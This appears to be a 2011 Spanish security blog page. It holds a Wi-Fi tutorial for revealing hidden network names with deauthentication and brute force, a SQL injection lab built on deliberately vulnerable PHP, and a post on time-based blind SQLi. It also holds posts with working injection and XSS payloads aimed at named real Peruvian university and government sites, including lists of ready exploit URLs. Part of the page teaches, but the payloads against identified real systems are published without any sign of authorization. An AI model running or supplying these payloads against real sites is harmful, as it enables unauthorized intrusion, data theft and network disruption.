miércoles, 26 de enero de 2011

SQL Injection en www.mintra.gob.pe

Hace un par de días, mientras buscaba algunos ejemplos para la segunda parte de la serie "SQL Injection Web Attacks" (que espero publicar pronto), me topé con un SQLi en la página web del ministerio de trabajo xD

Inseguridad Inalambrica [PARTE IV]

Continuando con la siguiente parte de inseguridad inalámbrica, mostraremos 3 métodos muy simples pero que sirven de mucho para poder descubrir cual es la nombre de una red oculta, existen muchas redes, segurizadas bajo esto. Así probamos que este tipo de seguridad no es tan segura.

Para siguiente ejemplo hemos usado la distribución del bt4, y 2 dispositivos inalámbricos para el mayor entendimiento del ejemplo, pero se puede hacer con una sola tarjeta.

Como cliente tenemos:
Tarjeta PCI Ralink 2561 con interface wlan0

Para auditar tenemos:
Usb Realtek rtl8187b con interface wlan1





Método 1
Este primer método requiere de mucho tiempo, inclusive puede demorar horas, consiste dejar nuestro airodump-ng a la escucha, y esperar que un verdadero cliente del AP, se conecte a el mismo, cuando un cliente se conecte el airodump-ng captara el paquete con el nombre de red.

Quitamos el modulo de la tarjerta
 
rmmod rtl8187

Cargamos el modulo de la tarjeta

modprobe rtl8187

Ponemos en modo monitor la tarjeta

airmon-ng start wlan1


Ponemos el airodump-ng a la escucha

airodump-ng - -bssid mac_AP –c canal_AP mon0


Esperemos hasta que se conecte un cliente verdadero al AP.


Método 2
El segundo método consiste en hacer un ataque de desautenficación a un usuario conectado.

rmmod rtl8187


modprobe rtl8187


airmon-ng start wlan1


airodump-ng - -bssid mac_AP –c canal_AP mon0

Ataque de desautentificacion de un cliente asociado. En este caso mandamos 5 paquetes de desautentificación, en caso que se resista se puede enviar más.


aireplay-ng -0 5 -a mac_AP -c mac_CLIENTE mon0

El cliente se desconectara un pequeño instante de AP y se volverá a conectar, asi se volverá a enviar el paquete con el nombre del AP.

Método 3
Aquí utilizaremos el mdk3 para realizar un ataque de fuerza bruta(ESSID brute force), en este ataque no se necesita de cliente conectados, solo se probara los nombre que se tengan en el archivo que contiene los pass. En mdk3 detectara la longitud del nombre de red y probara sólo las palabras con la longitud detectada. El problema es cuando cuando el airodump-ng detecta redes con longitud de nombre de red lenght -1 o lenght 0 (El AP no difunde la longitud del nombre de red). Este ataque sirve cuando se conoce la longitud del nombre de red. El mdk3 no hára nada. Lo que se trato de hacer fue modificar el código del mdk3 para que tenga por defecto la longitud indicada por nosotros, pero no pudimos compilar nisiquiera el código original del mdk3, puede que sea por la versión del kernel. Para que no tengan este tipo problemas el backtrack ya lo incluye entre sus herramientas de auditoria inalámbrica.





mdk3 interface p –t mac_AP -f directorio_diccionario.txt –s paquetesXsegundo





Tambien el mdk3 tiene otras formas de fuerza bruta en busca del nombre de red. El mdk3 ya tiene diccionarios propios para esto.


mdk3 interface p –c canal –t mac_AP -b tipo_caracteres –s paquetesXsegundo

l: nombres de red con letras minúsculas
u: nombres de red con letras mayúsculas
n: nombres de con solo números
c: combinación mayúsculas y minúsculas
m: combinación de mayúsculas, minúsculas y números
a: combinación letras, numero y caracteres especiales.

Aquí mostramo una pequeña demostración del metodo 1 y 3, lastimosamente mi wicd no quiere asociarse por nada del mundo a mi unico AP(TP-LINK TL-WA500G), pero al parecer no hace falta ya que es muy simple el método.

viernes, 14 de enero de 2011

SQL Injection Web Attacks [Parte I]

Hola a todos, en esta nueva serie de posts vamos a abordar un tema nada nuevo pero sí muy interesante. Se trata de las vulnerabilidades SQL Injection. Ya antes en el blog hemos explicado vagamente lo que es un SQL injection y hemos visto como explotarlos usando diferentes técnicas para casos específicos. Ver:
Sin embargo creo que ha llegado el momento de profundizar un poco para entender bien como funciona este tipo de vulnerabilidad y podamos explotarla a nuestro gusto.

1 Preparando el laboratorio

Para poder seguir los ejemplos que pondremos va a ser necesario contar con un servidor web Apache con el modulo de php instalado y un servidor de base de datos MySQL. Podemos conseguir todo eso (y más) instalando el paquete XAMPP para nuestro sistema. Explicaré como hacerlo en linux, si usas windows es como siempre: clic en next hasta que la ventana desaparezca.

Descarga el paquete de XAMPP para linux desde aquí:

http://www.apachefriends.org/en/xampp-linux.html#374

Es un comprimido, extraelo en el directorio /opt (necesitaras privilegios de root)

sudo tar xvfz xampp-linux-1.7.3a.tar.gz -C /opt

¡Listo, ya esta instalado! xD Para arrancar XAMPP ejecuta esto:

sudo /opt/lampp/lampp start

Y para detenerlo esto:

sudo /opt/lampp/lampp stop

XAMPP trae un asistente para cambiar los password por defecto, lo llamamos así:

sudo /opt/lampp/lampp security

El directorio publico del servidor web está en "/opt/lampp/htdocs". Crearemos un subdirectorio para poner ahí el código de los ejemplos.

sudo mkdir /opt/lampp/htdocs/test

Ahora crearemos una base de datos para nuestros experimentos. Deberás tener el XAMPP corriendo.

Primero abrimos la consola de MySQL. Para ello nos ubicamos en el directorio "/opt/lampp/bin" con el comando cd.

cd /opt/lampp/bin

Y ejecutamos mysql. Si le pusiste password al usuario root deberá ir el parámetro "p".

./mysql -u root -p

Una vez dentro de la consola, creamos la base de datos con esta orden:

mysql>create database db_test;

Y la seleccionaremos con:

mysql>use db_test;

Llegado a este punto ya solo es copiar y pegar las ordenes SQL de los ejemplos.

Bueno, creo que ya tenemos todo lo necesario para empezar.

2 SQL Injection Web Attacks

Una vulnerabilidad SQL Injection (SQLi) es un error de implementación, generalmente en aplicaciones web aunque no es exclusivo de estas, que puede permitirle a un atacante modificar las consultas que hace la aplicación a su base de datos para, de esta manera, alterar el comportamiento normal de la aplicación y obtener ventajas de ello.

Esta vulnerabilidad es calificada como crítica pues en el peor (o mejor, dependiendo de nuestra perspectiva) de los casos se puede conseguir ejecutar ordenes en el servidor. Sin embargo, por distintos factores de un escenario particular, la gravedad del impacto puede reducirse.

Si bien los SQLi no son exclusivos de aplicaciones web, como ya se mencionó, en esta serie nos enfocaremos en los ataques a este tipo de aplicaciones por ser los más frecuentes. Será preciso, entonces, conocer primero como funciona una aplicacion web.

3 Funcionamiento de una aplicación web

Todo empieza cuando un usuario solicita una pagina al servidor web. Este evento puede desencadenarse al hacer clic en un link, al darle enviar a un formulario, al presionar enter sobre la barra de direcciones o de muchas otras maneras. La solicitud que se envía puede contener parámetros que especifiquen de forma más detallada lo que se está pidiendo. Estos parámetros son pares de la forma "variable=valor" e irán en la solicitud de dos posibles formas: ocultos (método POST) o visibles (método GET)

Por ejemplo, seguro habrás visto alguna vez en la URL de una pagina algo así:

http://ejemplo.com/index.php?page=news&id=12

Los parámetros van después del signo de interrogación "?" y separados entre sí por el signo et "&". Quizá, en el ejemplo, estos parámetros sirven para especificar que estamos pidiendo la pagina de noticias, exactamente la noticia número 12. Este es un ejemplo de método GET donde claramente vemos las variables y sus valores en la URL.

Cuando la solicitud llega al servidor web, este identifica el recurso pedido, en el ejemplo es index.php, e intenta entregárselo al usuario. Sin embargo, como en nuestro caso se trata de una página dinámica, necesita ser interpretada por el motor de PHP antes de enviarla al usuario.

Entonces PHP toma el código de la pagina y empieza a ejecutarlo. Dentro de ese código se recupera el valor de las variables enviadas por el usuario y en base a ello se hará una u otra operación. Por ejemplo, conectarse a la base de datos y solicitar de la tabla noticias la que tenga el identificador número 12.

Para que la aplicación pueda pedirle información a la base de datos debe formar una consulta SQL. SQL (Structured Query Language) es un lenguaje de acceso a bases de datos relacionales que permite realizar diversos tipos de operaciones sobre éstas y la información que contienen.

Finalmente la salida que resultó de la ejecución del script php, es tomada por el servidor web y enviada al navegador del usuario como respuesta a su solicitud.

Fig. 1: Funcionamiento de una web.

Veamos como sería el código de la aplicacion del ejemplo.

<?php
 //Obtiene los parametros enviados por el usuario
 $page = $_GET['page'];
 $id = $_GET['id'];

 //Verifica la pagina que se esta pidiendo
 if($page == "news") {
  //Conecta a la base de datos (reemplazar user y pass)
  $link = mysql_connect ("localhost", "user", "pass");
  
  //Selecciona la base de datos (reemplazar database)
  mysql_select_db("database", $link);
  
  //Forma la consulta SQL
  $query = "SELECT * FROM noticias WHERE id=$id";
 
  //Envia la consulta a la base de datos
  $result = mysql_query ($query, $link);
 
  //Muestra el resultado de la consulta
  $row = mysql_fetch_array ($result);
  print("<h1>$row[titulo]</h1>\n");
  print("<p>$row[detalle]</p>\n");
  print("<i>Por: $row[autor]</i>");
 }
 else {
  print("Pagina no encontrada.");
 }
?>

Debes guardarlo dentro del directorio de pruebas, que creamos al inicio, con el nombre index.php. No olvides cambiar el usuario, la contraseña y el nombre de la base de datos, por los valores que estés usando.

Además, es necesario también crear la tabla noticias en nuestra base de datos y llenarla de información para tener algo así:

noticias:
+----+----------+-------------------------+---------+
| id | titulo   | detalle                 | autor   |
+----+----------+-------------------------+---------+
|  1 | TITULO 1 | Detalle de noticia 1... | Autor 1 |
|  2 | TITULO 2 | Detalle de noticia 2... | Autor 2 |
|  3 | TITULO 3 | Detalle de noticia 3... | Autor 3 |
+----+----------+-------------------------+---------+

Las ordenes SQL para construir esa tabla serían:

CREATE TABLE IF NOT EXISTS `noticias` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `titulo` varchar(50) NOT NULL,
  `detalle` varchar(50) NOT NULL,
  `autor` varchar(50) NOT NULL,
  PRIMARY KEY (`id`)
);

INSERT INTO `noticias` (`id`, `titulo`, `detalle`, `autor`) VALUES
(1, 'TITULO 1', 'Detalle de noticia 1...', 'Autor 1'),
(2, 'TITULO 2', 'Detalle de noticia 2...', 'Autor 2'),
(3, 'TITULO 3', 'Detalle de noticia 3...', 'Autor 3');

Podemos copiar y pegar directamente en la consola de mysql o guardarlas en un archivo, por ejemplo ordenes.sql, y luego llamar al comando mysql de esta manera:

$mysql -u root -p -D [base_de_datos] < ordenes.sql

Si todo ha ido bien, entonces ahora podremos ver como funciona la aplicacion conectándonos a:

http://localhost/test/index.php?page=news&id=1

y podemos ir variando el "id" para mostrar las otras noticias.

http://localhost/test/index.php?page=news&id=2
http://localhost/test/index.php?page=news&id=3
...

Fig. 2: Ejemplo de aplicación web.

4 Entendiendo la vulnerabilidad

Hasta este punto ya debemos haber comprendido como es que funciona una aplicación web. Ahora analizaremos ligeramente el código de la aplicación para ver cual es el error que nos permite modificar las consultas SQL.

En las lineas 3 y 4 podemos observar como se obtienen los valores enviados por el usuario:

$page = $_GET['page'];
$id = $_GET['id'];

Observe que no se hace ninguna validación. Luego en la linea 15 se concatena el valor de la variable $id para formar la consulta SQL.

$query = "SELECT * FROM noticias WHERE id=$id";

Por ejemplo si $id fuera 1 la orden quedaría así:

SELECT * FROM noticias WHERE id=1

La orden SELECT sirve para pedir información. En el ejemplo se está pidiendo todos los registros de la tabla noticias cuyo valor de la columna id sea igual a 1.

Pero que pasaría si el valor de $id no fuese un inocente número entero sino algo como esto: "1 AND 1=0". Es decir la llamada a la aplicación la hacemos así:

http://localhost/test/index.php?page=news&id=1 AND 1=0

Luego de concatenar el id, la consulta SQL quedará de esta forma:

SELECT * FROM noticias WHERE id=1 AND 1=0

Ahora la orden significa que se deben seleccionar todos los registros donde el id sea igual a 1 y 1 sea igual a 0. Como la ultima condición siempre es falsa, no se seleccionará ningún registro. La respuesta que recibiremos será algo así:

Fig. 3: Ejemplo de inyección SQL.

Como ven hemos conseguido modificar el significado de la consulta. Esto fue posible gracias a que la aplicación no valida adecuadamente los parámetros que recibe y los concatena tal cual.

Este es el principio de todo SQL Injection. Espero que este ejemplo tan sencillo haya servido para comprender como funciona la vulnerabilidad. Más adelante veremos como explotar un SQLi, las herramientas que podemos utilizar, técnicas de explotación para escenarios más complicados, etc.

Hasta entonces... Saludos.

Otros capítulos de la serie:

miércoles, 5 de enero de 2011

Time Based Blind SQLi

 En el post Hacking the FISI Again vimos que un Blind SQLi se explota de forma especial puesto que no muestra la información en la pagina web pero si que nos permite deducirla en base a su comportamiento.

El comportamiento, en aquella ocasión estuvo basado en la respuesta del servidor (eso de pagina normal y pagina de error). A ese tipo de Blind SQLi se le denomina Response Based. Sin embargo existe otro tipo de inyección a ciegas basada en el tiempo de respuesta del servidor y se denomina Time Based. En este post nos ocuparemos de explicar un poco sobre esta técnica de explotación y pondremos un ejemplo real como ya se nos ha hecho costumbre }:]

Como ya se dijo el Time Based nos permite deducir la información de la base de datos de acuerdo al tiempo que el servidor demora en responder. La idea es inyectar una condicional que de ser verdadera provoque un retardo en la respuesta del servidor y que en caso contrario, responda inmediatamente. Entonces haríamos muchas consultas variando la condición hasta detectar el retardo. Cuando eso suceda sabremos que la condición ha votado verdadero. Nuevamente el servidor se comportará como un oráculo y si hacemos las preguntas adecuadas podremos sacar la información lentamente.

Las técnicas para producir el retardo varían de acuerdo a los diferentes gestores de bases de datos. Para MySQL podemos usar cualquiera de estas dos funciones: SLEEP() y BENCHMARK()

La función SLEEP() provoca un retardo igual al número de segundos que se le pasa por parámetro, lo que es muy conveniente pues nos permite producir un retardo de tiempo fijo. Sin embargo esta función solo esta disponible para versiones 5.0.12 o superior. Ejemplo:

SELECT SLEEP(4)-- Produce un retardo de 4 segundos

En caso no podamos usar SLEEP() podemos intentarlo con la función BENCHMARK(). Esta función recibe dos parámetros: el primero es un número que indica las veces que se debe ejecutar la expresión que va en el segundo parámetro; el segundo, como ya se mencionó, es una expresión SQL cualquiera. Si el número de repeticiones es muy grande es obvio que se producirá un retardo en la respuesta. El problema con este método es que el tiempo de retardo depende de variables como la expresión que se repetirá o la velocidad del servidor, por lo que no se puede saber con precisión.

SELECT BENCHMARK(1000000, SHA("test"))-- Produce un retardo no determinado

Ahora bien, el retardo debemos incluirlo dentro de una condicional de modo que solo se ejecute cuando la condicion sea verdadera. Por ejemplo:

SELECT IF(1=1, SLEEP(4), 1)-- 1=1 es verdadero entonces se ejecuta el retardo
SELECT IF(1=0, SLEEP(4), 1)-- 1=0 es falso, no se ejecuta el retardo.

Pasemos a la acción. El ejemplo del que les comentaba al inicio se trata una vulnerabilidad en la pagina de la facultad (sí, otra) Esta vez la descubrió nuestro amigo w1b1, hace ya buen tiempo. Entonces, después de darle unas vueltas, no conseguimos explotarla como lo hicimos con las vulns anteriores puesto que se trataba de una orden INSERT y no un SELECT. La diferencia entre estas dos es que INSERT no devuelve nada por lo que no podemos generar un error en la aplicación y siempre se mostrará la misma pagina (no hay pagina de error). En ese momento, aún no habíamos considerado usar Time Based sin embargo ahora veremos como, usando esta técnica, la vulnerabilidad es perfectamente explotable }xD

Esta es la dirección donde esta el formulario vulnerable:

http://www.sistemas.edu.pe/inscripcion.html

Si tratáramos de hacer algunas pruebas desde ahí veremos que está validando que los campos del formulario no contengan caracteres especiales.


Qué puedo decir, peor es nada, solo que para la próxima deberían hacer la validación del lado del servidor y no con javascript. Ya que saltarse esas "medidas de seguridad" es tan sencillo como copiar el código fuente del formulario y quitarle los scripts que hacen la validación para tener nuestro propio formulario sin restricciones xD

<html>
 <head>
 </head>
 <body>
  <form method="post" action="http://www.sistemas.edu.pe/postgrado/inscripcion/correo.php">
   <table>
    <tr>
     <td>REGISTRO DE DATOS</td>
    </tr>
    
    <tr>
     <td >Nombre Completo</td>
     <td><input name="nombre" type="text"/></td>
    </tr>
    
    <tr>
     <td>Email</td>
     <td><input name="email" type="text"/></td>
    </tr>
    
    <tr>
     <td>Telefono</td>
     <td><input name="telefono" type="text"/></td>
    </tr>
    
    <tr>
     <td>Programa de Interes</td>
     <td><input name="interes" type="text"/></td>
    </tr>
    
    <tr>
     <td>Consulta</td>
     <td><textarea name="consulta"></textarea></td>
    </tr>
    
    <tr>
     <td>
      <input type="submit" name="Enviar" value="Enviar" />
      <input name="Cancelar" type="reset" value="Cancelar">
     </td>
    </tr>
   </table>
  </form>
 </body>
</html>

Ahora, si le metemos una comilla simple en cualquier campo veremos el error de sintaxis.

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''','')' at line 1

Para entender lo que haremos a continuación es preciso conocer un poquito sobre la orden INSERT. Esta orden se usa para añadir un nuevo registro a una tabla de la base de datos y su sintaxis más o menos es así:

INSERT INTO tbl_name (col_1, col_2) VALUES ('val_1', 'val_2')

Donde tbl_name es el nombre de la tabla donde se insertaran los datos, col_1 y col_2 son los nombres de las columnas de tbl_name y val_1 y val_2 son los datos que se registraran en col_1 y col_2 respectivamente. La zona donde van los datos es la que podemos manipular para inyectar nuestras consultas SQL.

En nuestro ejemplo, observamos cinco campos: nombre, email, telefono, programa y consulta. Podemos intuir que la orden tiene esta forma:

INSERT INTO tbl_registro (nombre, email, telefono, programa, consulta) VALUES ('$nombre', '$email', '$telefono', '$programa', '$consulta')

Haremos la inyección con el campo programa escribiendo lo siguiente:

', IF(1=1, SLEEP(4), 1) )#

Observamos que hay un retardo de aproximadamente 4 segundos antes de que el servidor responda. Pero si cambiamos la condición a falso el servidor responderá casi de inmediato.

', IF(1=0, SLEEP(4), 1) )#

En resumen, si hay retardo significa verdadero y si no, falso. Con lo anterior, queda probado que esta vuln se puede explotar usando Time Based }:]

Ahora juguemos un poco xD Averiguaremos cuantos registros hay en la tabla information_schema.schemata (el número de bases de datos ;))

', IF((SELECT COUNT(*) FROM information_schema.schemata) < 100, SLEEP(4), 1) )#     (verdadero)
', IF((SELECT COUNT(*) FROM information_schema.schemata) < 50, SLEEP(4), 1) )#      (falso)
', IF((SELECT COUNT(*) FROM information_schema.schemata) < 75, SLEEP(4), 1) )#      (falso)
', IF((SELECT COUNT(*) FROM information_schema.schemata) < 87, SLEEP(4), 1) )#      (verdadero)
', IF((SELECT COUNT(*) FROM information_schema.schemata) < 81, SLEEP(4), 1) )#      (falso)
', IF((SELECT COUNT(*) FROM information_schema.schemata) < 84, SLEEP(4), 1) )#      (verdadero)
', IF((SELECT COUNT(*) FROM information_schema.schemata) < 82, SLEEP(4), 1) )#      (falso)
', IF((SELECT COUNT(*) FROM information_schema.schemata) < 83, SLEEP(4), 1) )#      (falso)


Podemos concluir que hay 83 registros. Lo comprobamos con:

', IF((SELECT COUNT(*) FROM information_schema.schemata) = 83, SLEEP(4), 1) )#      (verdadero)

Y así se le puede ir preguntando otras cosas más interesantes ;)

Obviamente se debe automatizar la explotación usando alguna herramienta. Por ahora estoy investigando eso. Si no encuentro nada quizá me anime a programar algo xD En todo caso ya postearé como automatizar esto después :)

Hasta pronto, saludos.

domingo, 2 de enero de 2011

www.unmsm.edu.pe - Lista de vulnerabilidades


Vaya, sé que puede parecer redundante, porque ya antes he publicado algunas URLs vulnerables de la web de la universidad, pero encontré unas cuantas más y pensé que sería mejor ponerlas todas juntas en un solo post. Si luego aparecen más URLs vulnerables las añadiré a este post en una actualización pero ya no crearé otro.

Bueno, ahí va la lista.

[XSS]
  1. http://www.unmsm.edu.pe/index.php?url="<script>alert('xss')</script>
  2. http://www.unmsm.edu.pe/index.php?a=buscar&tab="); alert('xss'); //
  3. http://www.unmsm.edu.pe/index.php?a=buscar&s=xss&tot=<script>alert('xss');</script>
  4. http://www.unmsm.edu.pe/index.php?a=buscar&s=<script>alert("xss");</script>

[SQLi]
  1. http://www.unmsm.edu.pe/index.php?id=' and 1=0 union select 1,2,3,4,5,6,7/*
  2. http://www.unmsm.edu.pe/index.php?a=buscar&id=' and 1=0 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25/*
  3. http://www.unmsm.edu.pe/home.php?id=' and 1=0 union select 1,2,3,4,5,6,7/*
  4. http://www.unmsm.edu.pe/temp.php?id=' and 1=0 union select 1,2,3,'images/escudo_layer.gif',5,6,7,8/*
  5. http://www.unmsm.edu.pe/nts.php?id=' and 1=0 union select 1,2,3,4,5,6/*
  6. http://www.unmsm.edu.pe/archivos_ajax.php?op=noticias&index=' and 1=0 union select 1,2,3,4/*
  7. http://www.unmsm.edu.pe/archivos_ajax.php?op=noticias&anio=' and 1=0 union select 1,2,3,4/*

[Blind SQLi]
  1. http://www.unmsm.edu.pe/index.php?a=mas&tipo=' UNION SELECT IF(1=1,SLEEP(4),1),2,3/*
Nota: Las pruebas se hicieron con Mozilla Firefox 3.6.13 sobre Ubuntu 10.10 Maverick Meerkat.

Saludos.

sábado, 1 de enero de 2011

¿Cábalas de año nuevo?

Hay gente que cree en las cábalas, eso de hacer cosas medio esotéricas a fin de que se te cumpla un deseo el año que viene. Yo personalmente no soy creyente, sin embargo ayer se me dio por hacer limpieza y me las agarré con mi teclado, lo desarmé por completo y por cada tecla que limpiaba pedía un deseo: "Por favor, que siga funcionando..." xD


Vaya... este post en realidad es una excusa para desearles un muy feliz año nuevo y que con cábalas o no de por medio se les cumplan todos sus deseos.

Ya casi son las once de la mañana. No hay nadie en el messenger ni en el facebook :S ¿Me habré levantado muy temprano? No, creo que soy el único que se ha quedado en casa :( xD

Hasta pronto, saludos.